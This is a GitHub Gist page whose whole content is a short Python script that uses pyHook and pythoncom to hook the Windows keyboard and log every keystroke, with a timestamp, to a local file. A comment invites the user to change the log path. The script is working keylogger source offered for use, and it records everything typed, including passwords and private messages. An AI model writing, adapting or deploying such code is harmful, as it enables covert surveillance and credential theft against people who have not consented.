Skip to content

Instantly share code, notes, and snippets.

@theoctober19th
Created June 28, 2019 06:20
Show Gist options
  • Save theoctober19th/21aee4700520605f6b386936cc0bcfed to your computer and use it in GitHub Desktop.
Save theoctober19th/21aee4700520605f6b386936cc0bcfed to your computer and use it in GitHub Desktop.
import pyHook, pythoncom, sys, logging
import datetime
file_log = 'D:\\Lab\\logs\\keystrokes\keylogs.bd' #Change this path to where you want to store the logs to.
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
logging.log(10, str(datetime.datetime.now()) + ' >>' + chr(event.Ascii) + '<<')
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment